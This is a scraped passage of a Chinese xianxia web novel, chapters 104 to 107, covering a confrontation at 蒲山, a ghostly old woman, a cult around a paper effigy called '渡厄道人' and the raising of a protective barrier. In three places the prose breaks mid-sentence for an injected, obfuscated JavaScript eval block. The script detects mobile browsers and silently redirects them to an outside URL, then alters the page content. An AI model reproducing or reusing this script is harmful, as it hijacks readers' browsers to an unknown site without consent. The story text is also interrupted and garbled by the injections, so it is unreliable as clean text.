见无津大师不答,照翎族便又笑了起来:“别说自己多高尚多清白多超脱世外了。不然为什么这么多年了,你都不敢回蒲山来看一眼?” 无津大师抚琴的手一颤,琴音乱了一瞬,而后他换了另一支曲子,嘈嘈切切如同参差不齐的瓢泼雨点,一阵一阵砸在耳畔:“我说了,我与你不一样。若说罪过,你比我罪孽更为深重,却还有脸回到蒲山。” “你我是不一样。”照翎族自若地笑着,仿佛全然不畏琴音,“我是疯子,你……” 照翎族的眼珠转了一转,停在无津大师略微苍白的脸上,他的笑声愈发尖锐癫狂,几乎盖过了密而重的琴音:“参世仙人眼光的确不大好,百年前收了个疯子,百年后收了个怂包。” …… 陆云笺与裴世走出一段,浓重的白雾终于再度覆了上来,二人一直紧紧抓着对方的手,却不知何时,身旁另一个人的身形已然消失不见,唯有手中余温尚存。 陆云笺唤了一声,无人答应,便不再轻易开口,只静默地向前走去。 身旁流淌而过的云雾渐渐幻化成形,陆云笺从中走过,瞧见阿娘,瞧见陆稷,瞧见陆明周,瞧见柳娘,自襁褓走至如今,已历二十年,云雾中的面孔兀自模糊,记忆却渐渐清晰起来。 无论是自己所知的,还是从来不知的过往,都在此处了然分明,无所遁形。 陆云笺没有多看,也没有多作停留,只加快了脚步往前走去。不知走了多久,终于看见一方石壁堵住了去路。 陆云笺回头一瞥,走过的路不曾消散,无尽云雾仍在原地上演。再转过头,却见眼前不知何时出现了一个缥缈如云雾的身影,仿佛亡魂于此处汇聚,等人前来,等了太久,身形已被岁月遮掩得模糊不清。 正是怜生寺幻境中,那个救了裴世的白衣道人。 参世仙人。 参世仙人的眉目虽温和近人,却并非如怜生寺幻境中一般时时噙着浅淡的微笑,苍白平淡的面容在某一瞬竟显得有些悲哀。 陆云笺不由自主地静了下来,等他发问。 参世仙人开口,声音也如云雾一般浅淡渺远:“来者何人?” “陆云笺。” “所为何事?” “魔王诅咒即将应验,届时灾劫降临,妖魔归世,恐人间不保。晚辈循妄尘前辈指引,前来蒲山,求前辈赐一救世之法。” 参世仙人闻言,缓缓抬起眼眸,将目光投向她。 ……并不是投向她。 仿佛她也只是一个虚无缥缈的魂灵,那道目光径直穿过她,飘摇往远处而去。 陆云笺回过头,来处的云雾早已消失不见,周遭黑暗无极,唯有远在天边的地方,似乎亮起了一点金光,在无边黑暗中,恍若旭日初升。 她听到了一声几乎微不可闻的琴音。 下一刻,山石崩裂,眼前景象天翻地覆,陆云笺一瞬之间便又回到了幻境之外,万仞高山立在身后,仿佛从来不曾走过。陆云笺往回走了几步,却再也没有云雾,也没有幻境,正欲再探,却见裴世踉踉跄跄走了出来,扶住手边一棵树才勉强站稳。 陆云笺过去扶住他,道:“裴世,你怎么了?” “……我没事。”裴世缓了片刻,“那个照翎族呢?” “方才他放出灵力欲炸毁蒲山,贫僧担心幻境被毁,先行保全了幻境,一时不备,让他逃走。”无津大师的手仍放在七弦琴上,不曾移开,“二位在幻境里看到了什么?” 裴世冷笑道:“那照翎族不过一介亡魂,勉强把魂魄聚齐,灵力时历三百二十年,早已衰微殆尽,如何炸得动参世仙人所在仙山?” 无津大师冷声道:“无人会比归云仙君更清楚照灵鸟的灵力如何强大,无论是照灵骨还是照翎族,灵力都不容小觑。” 陆云笺道:“那么还请大师解释一下,为何世上仅存的一个照翎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503853|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族亡魂,被镇压于怜生寺?” “因为贫僧亲眼见到了,”无津大师收了琴,杏黄袈裟在夜风中猎猎翻飞,“逆转时空前,是他召唤了众妖魔。” 陆云笺微微眯眼:“逆转时空前?” 无津大师道:“我幼时家门被妖魔所灭,幸得参世仙人所救。他将我留在蒲山,教授我术法,盼我入世除魔卫道。 “我十五岁时,一日正值上元,我下山除祟,偶遇灯街繁荣景象,一时贪图尘世浮华,在人间驻留。待抽身回神,已过数月,我自觉愧对仙人,不敢再回蒲山,自此留于人间。 “后年岁渐长,原想回蒲山向仙人赔罪,却不料仙人已然仙逝,我心中有愧,自此遁入空门,断绝红尘。至于后来偶遇妄尘旧友宋承泽,我便助他复仇之事,想必二位已然猜到。 “逆转时空前,我为你们指路蒲山,是因此处有参世仙人残余灵力护佑,灵气丰沛,暂未受妖魔所扰,适开逆转时空之阵。” 陆云笺的神色仍然极冷:“大师既能为我们指路蒲山,难道就不曾想过,参世仙人仙逝前,曾为人间留下救世之法?” 无津大师道:“我先前的确不曾想过。后来你们前往蒲山开启逆转时空之阵,我留于怜生寺抵御妖魔,亲眼见到那照翎族召唤妖魔。 “新一批妖魔自地底重归于世,怜生寺抵御不能,我忽见一绿袍仙君携一箜篌而至,知晓那是蒲山的青竹仙君,大喜过望,却亲眼见到青竹君灵力不支、爆体而亡,箜篌碎裂,未能挽救尘世灾劫。 “我一时痛极,知晓此并非可行之法,便设法保全自身记忆,逆转时空后,记忆也不曾与时空一同回溯。 “逆转时空后,我便四处寻找那照翎族的下落,最终在九桥村石山中寻到其踪迹,那时他正尝试用聚魂阵聚合族人魂魄,我将其擒回怜生寺,又造一东岳大帝像,将其镇压于偏殿。” 无津大师这番话说得并无明显缺漏,但陆云笺从不曾尽信他所言,因此只道:“青竹君是何人?” “参世仙人来到此山前,遍山丛生蒲公英,因此得名‘蒲山’。后仙人偶然救了一只竹妖,那竹妖感恩,自请留在蒲山之中,遍山蒲公英便成了遍山碧竹。” 陆云笺回头瞥了一眼光秃秃的山:“碧竹?” 无津大师道:“如二位所见,参世仙人所设幻境无人能破,便是有救世之法,也未必有人用得了,也未必能阻止灾劫。正如陆小姐先前说,为今之计只有‘找出灾劫源头’这一条,而全然不曾提及前来蒲山之事,我不曾言明,也只是有所顾虑。如今诸事既已言明,二位应当知道该如何行事。” 陆云笺默然动了动指尖,却没有使用术法。 逆转时空前她曾摧毁过蒲山的幻境迷阵,可既未见什么青竹君,也未见什么箜篌神器,想来摧毁幻境并不是可行之法。 陆云笺道:“即便我们不曾说过要来蒲山,大师不也猜到了?” 无津大师道:“贫僧前来,只是为告知二位真相。二位即便身在蒲山,也定然不会对仙门之事一无所知,想必二位业已感知到,世间妖魔鬼怪已开始躁动,二位这一条路已是选错了,只望不要一错到底。” “错?”陆云笺忽地笑了,“倘若我二人来寻参世仙人是错,那请问大师,大师认为圣清结界能撑多久?倘若直至圣清结界破,众仙门也未能屠尽妖邪,那要如何才能保全修真界?” “贫僧不知,”无津大师似乎已渐渐失去了耐心,按住七弦琴的手不自觉地微微收紧,“但二位与其在此地多费时日,倒不如多杀几个妖魔邪祟。毕竟二位可以多试几条路,可即将重归于世的妖魔却不会多等。” 105. 孤魂泣 夜间寒风不止不歇,吹得本就破旧不堪的老木屋嘎吱作响。 裴世施了个法咒止住木屋的摇晃震颤,在御寒结界外又加了一层御风结界,将呜呜夜风隔绝在外,这才将屋门合严。 陆云笺四下扫了几眼,笑道:“这地方挺好的,裴世,你从哪儿找着这么个地方的?” “是一位故人的住所,”裴世路过桌边,顺手拨亮桌上已经结了蛛网的蜡烛,“一位老人家,已经过世许久了,借她的屋子,将就一晚。” 陆云笺笑道:“不将就不将就,若是非要找间客栈,没准第二日一睁眼就在云间世或镜阳宗的地牢里了。” 她从裴世衣襟里顺了几张空白符纸,将床榻上的蛛网与尘灰草草擦去:“还是归云仙君接地气,这么些年了,总不忘在身上带几张空白符纸。” 裴世仔细将各处检查了一遍,正好陆云笺也擦完了床榻,便又一抬手将蜡烛灭了,屋内又复归黑暗。 “可惜没找见被褥之类的东西,”陆云笺伸手按了按床榻,“只有光秃秃的床板,有些扎人。”说着像是想起了什么,又笑道,“不过明日一早就又要动身了,这一去,以后还不知道要睡在什么地方呢。” 陆云笺将用完的空白符纸揉成一团丢在一边,正欲躺上床板,手边的触感却忽然变了,她眯着眼辨认一阵,才发现裴世不知何时将外袍除了,铺在床板上,虽远不比被褥厚实,但也平整柔软了许多。 陆云笺合衣躺下,将双手枕在脑后,闭上眼睛,感受到裴世在身旁躺下,待他躺稳了,便轻声笑道:“白梅花的味道,很好闻。” 饶是裴世靠得并不那么近,陆云笺也清晰地感知到他的身体僵了一瞬。陆云笺轻轻一笑,暂且放过他,道:“那秃驴如此阻拦我们寻找神器,到底是在怕什么?” “他与照翎族的关联应当没有这么简单,”裴世的声音闷闷地响起来,“这一回,他也没有全说实话。” 陆云笺道:“那你觉得他们会是什么关联?势不两立,还是一丘之貉?” 裴世却没有直接回答,而是道: “幻境内那一声琴音,应当就是他怕我们知道些什么,于是打破了幻境,而非是为攻击照翎族。甚至可能正是因为他分神来打破幻境,而导致照翎族趁机逃走。 “而他既是屡次助宋承泽脱逃的人,那么在同渊阁,他就有机会见到偶人阵。阻拦我们取得神器与发动灾劫的目的可说相同,如此一来,他的嫌疑就很大了。 “可他若是发动灾劫的幕后之人,那么逆转时空前,根本没必要提出逆转时空之阵,只需袖手静观,修真界便会覆灭。 “而且,如若他和照翎族的目的相同,那么这一回,他也没必要前来阻拦——所以,我更倾向于,他不是发动灾劫的人,但蒲山幻境中,可能存在对他不利的信息。 “而他与照翎族的关系……或许可以算作同门。” 陆云笺蓦地睁开眼睛,微微侧过头,瞥见黑暗中裴世不甚清晰的侧脸:“同门?” 裴世轻声道:“我在幻境中,见到了青竹仙君。” 陆云笺心中一沉:“你见到了青竹仙君?” “嗯。” 裴世应了这一声便陷入了长久的沉默,像是在竭力理清思绪,又像是不知该从何说起。陆云笺一动不动地看着他,也没有出声再问,只静静地等着。 良久,裴世轻轻叹了口气,终于再度开口:“我因金羽骨一事在蒲山待过一段时日,因此青竹君识得我,没有对我多作提防。进入幻境后,我见到的不是参世仙人的幻影,而是青竹君。” 陆云笺心中微有些疑惑,但没有多问,只静等着他说下去。 裴世继续道:“三百二十年前与魔王大战的仙人,就是参世仙人。 “陆成蔺利用照翎族开启照灵阵,助仙人平息灾劫,导致照翎族全族尽灭、魂魄破碎逸散,仙人不忍,见有一照翎族魂魄较为完整,便将其救下,带在身边。 “仙人在大战中受了重伤,又不愿与仙门为伍,便去往蒲山,自此匿迹销声。三百二十年里,他一边恢复灵力、云游除祟,一边用自己所得的那段照灵骨制了一样箜篌神器。 “世人不知他身份,但感其恩德,便为他取号‘参世’。” 陆云笺道:“这些是你在蒲山幻境里看到的?” “这些不是。”裴世闭上眼睛,“蒲山幻境只会显示来者的过往,可用以判断人心善恶。至于这些,都是青竹君告知与我的,他应当能算是可信之人,但当我想要再问无津大师与照翎族之事时,幻境被破,我没能问到。” 陆云笺道:“果真有这么一样箜篌神器……可为何眼下参世仙人不愿将其交与我们?还是说,老秃驴那一击,当真打破了蒲山幻境,参世仙人的灵力受到了影响,再不能引我们前往幻境相见?” 裴世道:“无津大师的确打得幻境不稳、一时不能再现,但不至于彻底打破幻境。我们这一回没有取得箜篌神器,是因如今形势尚不确定,而仅凭箜篌神器,胜算也并不见得有几成。” 陆云笺知道他的话是何意,一时没有说话。 箜篌神器可说是参世仙人留在世上的最后一张牌,如今妖魔尚未出世,尚不能确定灾劫是否即将真正来临,若是贸然取走箜篌,神器没有参世仙人蒲山的灵气滋养,灵力将会渐渐削弱,待到灾劫真正来临之时,便更难将其破除。 更何况,倘若真如无津大师所言,逆转时空前,青竹君曾携箜篌神器前去诛杀妖魔,却因灵力不支而爆体而亡,箜篌也破碎消散…… 即便或许在蒲山开启逆转时空之阵,导致蒲山灵气消散、青竹君灵力削弱,可如此看来,仅凭箜篌神器,或许根本无法彻底破除灾劫。 或许灾劫临世,能救修真界的,终究只有世人手中的刀剑。 静默片刻,陆云笺轻轻叹了口气,伸手握住了裴世的手:“裴世,你怎么学那老秃驴的作风,说一半留一半。” 裴世心中一紧:“……什么?” “你也没有全说实话。”陆云笺道,“你是不是还有什么事瞒着我?” 她侧耳听着裴世的动静,却觉得身旁的人渐渐没了声息,仿佛整个人都已经冷下去,在茫茫黑夜中,像是已经没了半点温度。 陆云笺顿时不忍再问,只轻轻摩挲着他的指尖:“若你现在不想说,我会一直等到你想告诉我。如果你想说,我就在这里,你随时可以说。” 裴世的指尖仿佛也凝了冰,怎么也捂不热。 黑夜忽地很沉,压得人喘不过气,又忽地很轻,仿佛万物寂灭,再无声息。 不知过了多久,裴世忽然出声唤道:“陆云笺……” 陆云笺应:“嗯。” 门边忽然吹过一阵冷飕飕的阴风,裴世又不说话了。 陆云笺道:“不要管,你先说。” “没有,”裴世再开口时,先前声音中的涩然便几乎消失无踪,“我想说的就是这个,有东西进来了。”他说着便起了身,再度拨亮了桌上的烛火。 门边立着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509407|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一位老妇人,捂着眼睛不住地“哎哟”,似乎是被乍起的烛火晃住了眼。 老妇人揉眼睛揉了许久,再睁眼时,看见屋子里忽然冒出来的两个陌生年轻人,又是“哎哟”一声,手刚从眼睛前移开,又抚上了心口。 陆云笺微微蹙眉,这老妇人分明是一个素未谋面的亡魂,却不知为何有些眼熟,仿佛机缘巧合之下曾有过一面之缘。 老妇人怔然许久,愣愣地问:“你们两个年轻人,怎么在我屋子里?” 裴世的手悬在烛火之上久久未动,此时才收回手,声音里有几分难得的愕然:“老人家,您……” 陆云笺道:“裴世,你认得她?” “……嗯,”裴世微微垂眸,“她救过我。” 陆云笺又看了那老妇人片刻,忽地恍然。 她的确与这老妇人有过一面之缘,是在怜生寺幻境,裴世过往的幻影之中。 那时正是她重伤闭关的两年间,是她不曾见过的他的两年。 裴世身上的封印被打破,修炼数年的灵力一朝爆发,他终于得以独立入世除祟,却始终没有自己的武器,更远不如后来“归云仙君”声名远扬,在云间世之中仍是可有可无。 那日他路过一家地方仙门,正见一位老妇人被门中弟子赶了出来,大门轰然相合,那位老妇人无处可去,孤零零站在门外,像一个无依无靠的游魂。 裴世认出那正是曾在他离开蒲山、孤身前往云间世途中施舍过他一碗粥的老妇,便上前问清来龙去脉。 他得知那老妇人子女孙儿都被厉鬼所害,她奔波万里,寻到一家据说可以收服厉鬼的仙门,便请求他们除祟,却因钱两不足而被拒之门外。 他没有武器,却只身独闯厉鬼老巢,徒手杀死厉鬼,替那老妇的亲眷报了仇。 然而那老妇一路跋涉至此,仅有的微薄钱两早已消耗殆尽,裴世带着她雇车走了几日,很快就花尽了两人身上的钱两。 没有钱两雇车与投宿,他便背着老妇人徒步行走数十个时辰将她送回家,因着弟子靴有些破旧又不甚合脚,磨得双脚血流不止,终于到了老妇人家门外。 然而正欲推门而入,那老妇人却悄无声息地咽了气,没有钱两置办棺材,裴世便只能草草将她埋葬。 或许是她本不该命绝于那时,以致于直到此时也不曾转世;又或许是因为埋葬得太过潦草,以至于这老妇人心中执念未消,以为自己仍然活着,时时徘徊于此处。 如今百鬼躁动,这样一位老妇,若遇上其他鬼魂,定然不会好过。 “我们……路过,借住一晚。”裴世试探着开口,“您回来,是还有什么放不下的人或事么?” 老妇人一愣,而后笑道:“什么放得下放不下的。我这把老骨头了,孩子们和老伴儿也都不在了,这辈子啊,也只想好好地守着他们,没什么好记挂的。要真说啊,也就前几天遇到的那个小仙君,不知道他怎么样了。看到你们这些年轻人,就会想起那个小仙君。你们睡着吧,老婆子我啊,再出去转转。” “他好得很。既是没什么牵挂了,”裴世微微蹙眉,“您不该早便前往转生了吗?” 老妇人初时仿佛没有听见他的话,自顾自地转身去推门,尽管手在触到门栓时便穿透而过,她也没觉出什么不对劲。 而更不对劲的,是插入她后脑中的一段碎木,几乎穿脑而过,留下一个偌大的鲜血淋漓的窟窿。 老妇人像是才听见裴世的话,缓缓转过身来:“什么……转生?” 106. 渡厄道 老妇人颤巍巍地抬起手,茫然地捂住了眼睛,再抬起头时,汩汩鲜血自她指缝间流出,她的眼球干瘪皱缩,显得眼眶中漆黑一片,只止不住地往外淌着血。 她捂着眼睛,佝偻着背,忽然呜呜地哭了起来。 “好疼啊……我好疼啊……道长救救我……道长救我……” 陆云笺几步上前,将老妇人捂住眼睛的手拿开,与她漆黑一片的眼对望着,问:“您怎么了?道长是谁?” “道长救我……救救我的孩子……我找不到回家的路了……我走了好久好久,好久好久都找不到……” 老妇人本就破旧褴褛的衣衫忽然也开始渗血,衣衫遮掩下的伤口终于尽数暴露出来,坑坑洼洼,血流不止,像是什么东西啃咬后留下的。 陆云笺微微一惊,松开了手,这才发现自己拽着老妇人的手也沾满了鲜血。 裴世在屋外设了御风结界,寒风吹不进来,但夜间的呜呜风声仍然清晰可闻。 又或许不是风声,而是妖魔动荡,万鬼啼哭。 “……裴世,”陆云笺心中隐隐感到不妙,“你先施个引渡之类的法咒,送送老人家吧。” 裴世正好绘完引魂阵的最后一笔,闻言在阵法中灌注了灵力,将老妇人引到阵法中央。引魂阵不常用,裴世也只见过寥寥几次,但好在没有画错,老妇人的身形很快消失在了璨然金光中。 陆云笺推开屋门,忽觉外头的呜呜咽咽之声更加清晰刺耳了几分,当即召出惟霜剑,与裴世一同腾至半空。 “来得比我想的还要快,竟是一夜都等不得了。” 惟霜径直向着云间世的方向行去,二人需要确定众仙门是否具备开启圣清结界的条件,而圣清结界这个巨大的千机阵,中心阵眼在于云间世。 几百年前埋于地下的妖魔尚未归世,但无数亡魂已从棺中、从地下游荡而出,飘飘荡荡无所定处。 无数山中灵魅、水中精怪窸窸窣窣地爬了出来,形貌诡异,叫声凄婉,与无数亡魂的哀哭混杂在一起,像是不疲不倦的寒风夜雨。 惟霜剑行得并不十分高,陆云笺视物受夜色影响并不太多,因此低头下望,几乎可见亡魂精魅鬼怪狂躁失智地互相撕咬,稍弱一些的,便被群起分食。 她有那么一瞬觉得这夜并不是黑的,而是漫山遍野的、铺天盖地的凝结的红。 陆云笺的灵力倏然一转,惟霜调转方向,往另一个方向行去。 裴世见状召出归云,道:“陆云笺,你先回一步,我去接柳娘等人。” 陆云笺瞥他一眼,当即不再犹豫,将惟霜调转至原方向,道:“多加小心。” 一路行来只觉时间流逝既快且慢,陆云笺到达云间世结界边缘时,已是卯时中,天边已隐隐有了亮光。 云间世结界尚且稳定,众精魅亡魂徘徊在结界之外,并没有要闯入的意思。陆云笺极目望了云间世主山一眼,灯火尚未亮起,仍是漆黑一片。 如今修真界大力追踪她与裴世,因此传送、通讯一类的术法都被盯得极严,她不能使用通讯,也就不能将妖魔动荡的讯息传给陆明周。 不过妖魔动荡如此,云间世神树之下的妖魔想必也有所躁动,陆稷与陆明周不会全无知晓。 好在云间世的圣清结界并无异样,应当能及时开启,那么下一步…… 正在此时,不远处忽然传来一声铜锣之响,在万鬼躁动的夜晚,仍显得十分刺耳。 陆云笺循声望去,见原本静寂无人的长街尽头不知何时出现了一点火光,渐渐地不只一点,一撮、一簇、一片火光伴随着嗡嗡的人声,缓缓靠近。 一群百姓拥着一乘肩舆,肩舆之上端坐着一个惨白的道士样的“人”,在夜风中发出“刺啦”的声响。 陆云笺闪身至一处商铺投下的阴影之中,探身察看。 拥着肩舆的百姓是活人无疑,肩舆是用竹子制成的略显粗糙的肩舆,也无甚异样,然而端坐其上的道人却不是活人,甚至不能算是人。 陆云笺目光上移,定在那张空白无色的脸上。 是一只面目空白、未着一色的纸扎道人。 陆云笺将呼吸放到最轻,等着这一行人走过。 不知这些人是要做什么,竟在这样百鬼夜哭的时候,也非要出来走一遭。 游神?祭祀? 游的什么神,祭的又是哪门子祀? 待一行人走过,陆云笺便悄无声息地跟上,跟了约莫半个时辰,天光将要大亮时,才终于到了郊外一处。 空茫荒野之中搭着一座简陋狭小的木屋,顶上盖着一层厚重茅草。一行人直接将肩舆连同道人抬进了木屋,陆云笺思索片刻,依照那些百姓的穿着化了个形,悄声跟了进去。 木屋中只有简简单单一张木桌,惨白的纸扎道人端坐在桌前,百姓们自觉排好队,一一上前。陆云笺垂头跟在队伍最后,听着前头的人与纸扎道人一问一答。 纸扎道人的声音传至耳中只剩模糊不清的嗡嗡声,但正在发问的百姓的言语却清晰。 陆云笺听他们问的都是吉凶卜算、驱鬼化吉诸事宜,不禁有些疑惑。 即便向云间世求卜价钱不菲,这些百姓平日里也大多会向小仙门或是庙宇求神问卜,为何忽然造出这么一个粗制滥造的纸扎道人?这纸扎道人甚至未开灵智,又能答他们什么? 百姓们问过后并不曾离开,仍然待在屋内。 陆云笺扫了立在两侧的百姓一眼,见他们都恭顺静默地低头垂眸,真像是虔诚的信徒拥趸,甚至像是毫无神智的木偶人,心中略感不妙。 她在众人注视下走上前,坐在纸扎道人对面,听见纸扎道人开口说话,声音不再是模糊不清的嗡嗡,而是如同纸张摩擦一般刺耳:“渡厄道人,逢凶渡厄,遇难化吉。何事来询?” 陆云笺听见“渡厄道人”四个字,想起那位老妇说的“道长”,心中明了了七分。 她垂着头,学着前一个人问:“我十余年碌碌无为,想要渡海去做一桩买卖,请道长帮我看一看,此去是吉是凶,我此一生,又将落于何处。” 纸扎道人闻言,忽然发出了“咯咯”的笑声,这笑声诡异刺耳、绕梁不绝,陆云笺低垂着头,微微抬起眼,默默注视着面目空白的道人生出眼耳鼻口,五官初时扭曲模糊,而后渐渐清晰。 道人压低声音,道:“此去大凶无解,诸事不成,不得好死。” 纸扎的身体忽然皱缩起来,一个缥缈的虚影缓缓浮现。 陆云笺抬起头,解了化形法咒,抬手召出破月,猛地朝虚影的脖颈扎去,与此同时,一道金色剑光也猛地刺穿了虚影的胸口! 那阴魂不散的照翎族的身形终于完全显现出来,破月与归云刺得他的魂魄几欲溃散,却又诡异地再度拼凑起来。 照翎族的双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515518|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目似乎已经不能视物,却仍是轻描淡写地抬手在脖颈与胸口处的裂口抹过,仿佛一道针线将破碎的魂魄缝合起来。 陆云笺的手微微一顿。 存世三百二十年的魂魄已然撑不了太久,这照翎族的五感都已渐趋丧失,可为何破月和归云都伤不了他? 裴世三两步迈入木屋,提剑又是一砍,冷声道:“你一个瞎子,还替旁人看相算命?” 他的剑来得又快又凶,照翎族的魂魄一时聚合不能,便任它们飘在半空中,只笑回道:“目不能视,方能智清心明。不是么?” 一旁一直守着的百姓见此景象,竟也不惧不躲,陆云笺上前探了其中一人的情况,却发现他已失去了神智,此时立在一边,恍若行尸走肉。 这些人的样貌、形态、心脉分明都与生人无异,仅仅是失去了神智。是因为他们自发地信仰什么“渡厄道人”,而后被夺去了神智,还是先失去了神智,再被照翎族操纵? 要操纵亡魂、死尸一类要比操纵活人要容易得多,照翎族不过一介即将消散的魂魄,原当不可能操纵如此多的活人。 无论是有东西暗中夺人神智,还是有人助照翎族操纵活人,都是极不妙的。如若他们能大范围夺人神智、操纵活人,那么在妖魔出世之前,世人就会先一步自相残杀。 陆云笺指尖凝起一点灵光,就近点上一名百姓的额头。 在清心咒的作用下,那名百姓微微抬起头,看向陆云笺。 陆云笺沉声道:“此身何人?” 那名百姓直愣愣地盯着陆云笺,没有回答。 陆云笺心中一沉。 照翎族的魂魄被裴世砍得聚合不能,却仿佛全无妨碍似的,施施然笑道:“多谢陆小姐替我试了一回,看来‘渡厄道人’,比我预想的要更为成功。” 陆云笺收回指尖,冷声道:“是吗?‘逢凶渡厄,遇难化吉’?” 她抬手甩出一道限制咒,正圈住照翎族,然而耀目紫光在触到照翎族的身躯时,却蓦地一闪,而后消失不见。 一道形如丝线的事物在照翎族体内亮了一瞬,照得那个虚无缥缈的魂魄也亮了一瞬。不过只有一瞬,陆云笺尚未辨出那究竟是何物,那事物便隐去了。 限制咒虽不是什么强大的法咒,但能破得了她的限制咒的,想来不是凡物。 难道保得照翎族三百余年仍未魂飞魄散的,并不是参世仙人,而是照翎族体内的某样事物? 还是说,照翎族在蒲山中时,是参世仙人保住了他的魂魄,而参世仙人仙逝后,十余年来,保住他魂魄的,是他体内的某样事物? 照翎族从始至终没有任何动作,甚至没有聚合魂魄,只笑容不坠:“二位不要白费力气了,你们一时半会儿杀不了我,也关不住我。”他笑着笑着,似是有些惋惜地叹了口气,“可怜我如此费尽心思地为二位准备惊喜,你们却全然不领情,教人好生难过。” 见二人毫不理会他,照翎族忽然噤了声,片刻后才轻轻拍了拍手,道:“时间差不多了,正好二位都在,我给你们准备了又一份惊喜。” 破碎缥缈的魂魄忽然消失无踪,下一刻,立在一旁的百姓忽然尽数绽放出了扭曲诡异的笑容。 清心咒无甚效用,陆云笺正欲出手将他们打晕,却忽觉腿上一重。 她低头看去,却见一只惨白的鬼手破土而出,死死攥住了自己的脚踝。 107. 灾厄临 镜阳宗偏殿内的数盏灯火只亮了一盏,昼夜不分地亮了好几日,似是有些疲累,渗入窗缝的夜风一吹,灯焰便摇摇晃晃,有些明灭不定。 季瑶抬手将灯烛换了个地方,却没有将窗户合严,任由冬日寒风将神智吹得愈发清醒。 大门忽然被人轻轻叩响。 季瑶支着额,闻声闭了闭眼,道:“进。” 来人黑衣蒙面,衣袍上的波涛花纹在暖黄灯光下映射出寸寸银光。他将手中厚厚一沓纸卷呈给季瑶,道:“季小姐,您让属下去查的事,有些眉目了。” 季瑶将纸卷接过,指尖逐字逐句划过去,问道:“有兄长的下落了吗?” “还没有。” 季瑶正欲摆手让他退下,手已经抬起,却又顿住:“近些日子似乎不大太平,山下可有妖魔异动的迹象?” “属下一路夜行,所经之处荒僻少人,只见寥寥几只孤魂野鬼,未见大面积妖魔躁动之象。” 季瑶轻轻颔首:“下去吧,山下和众仙门的情况,还辛苦你们再盯紧些。” “季小姐言重。” 季瑶抬眸望了一眼窗外漆黑的夜色,再低眸时,许是许久未眠的缘故,纸卷上的字迹忽然不那么清楚了,像洇了水的纸张模糊了笔墨。 她有些乏力地闭上了眼睛。 这一觉睡得格外沉,直至刺目的光亮将人唤醒,再睁眼时,才惊觉已然天光大亮。 困意尚未全然消散,忽有人重重叩响了门扉,还未等她应声便急急地奔了进来:“季小姐!不好了,昨夜百鬼躁动,无数亡魂精魅随处游荡,部分百姓拜了什么‘渡厄道人’之后都神志不清如同妖鬼,还有、还有今日一早从地下爬出来了不少鬼手,数量之多根本难以屠尽……” 来人一气儿报了不少消息,季瑶尚未能思索对策,便又有人踩着最后一字进了殿门:“季小姐,数以千计的百年长妖魔自地下爬了出来,境内诸多仙门已经应接不暇了!” “季小姐,白眉楼、朗月阁、青芜洲发来紧急通讯,请求速遣修士救援……” “季小姐,方才云间世陆尊主传来通讯……” “季小姐,云间世开启圣清结界了!” 季瑶扶住桌案,勉强稳住身形,道:“速速传令,开启圣清结界!” 圣清结界以千机阵为基,以云间世、镜阳宗、怜生寺三大门派为阵眼,三大门派一开启结界,覆盖方圆数万里的防御结界便瞬息成型。 圣清结界之内,无数妖魔鬼怪,霎时灰飞烟灭! “传令下去,”季瑶尽力让自己的声音如往日一般沉静,“青云阁、紫霄谷、七玄门、无极道、神农门速开圣清结界,其余诸派尽快将百姓转移到圣清结界之内,将神智不清的百姓暂时看押起来,着三十名攻伐系弟子前去追查渡厄道人。” 各人领了命下去,季瑶携上桌案上的书卷,转身去了大殿。 镜阳宗的圣清结界阵法,就在大殿内。 三大门派已经开启圣清结界,如今只要先前布好阵法的地方仙门再开启圣清结界,那么千机阵便成,只要三大门派稳住,圣清结界便不会崩塌,只要众仙门都能撑住,圣清结界便能无坚不摧、荡清妖魔。 可如今镜阳宗掌门令已毁,镜阳宗结界与诸多阵法便都失去了最为强大稳定的灵力供给,只能依靠往日蓄积的灵力和她一人的灵力补给,这样的镜阳宗,能撑多久? 季瑶缓缓抬手,青碧色灵流汇入大殿正中的阵法,笼罩大地、溢彩流光的圣清结界便愈发光明璀璨。 季瑶默叹一口气。 即便终有一日圣清结界会出纰漏、会瓦解、会溃散,那也绝不能自镜阳宗始。 收了手,季瑶就那么立在大殿内,忽然不知该往何处去。 好在镜阳宗从来不会清闲,立了片刻,便有人快步奔上来报:“季小姐,前往青云阁和神农门的传信弟子回了,正在山脚……” 季瑶蹙眉道:“传信弟子传信后,理当协助地方仙门开启圣清结界,如何这么快就回了?” “是……是传信弟子半道被堵了,现下青云阁和神农门的掌门领着一众弟子正在山脚,我们的传信弟子被他们押着……” 话未说完,大殿外忽然传来一阵嘈杂喧闹之声,季瑶顾不得再听,转身出了大殿。 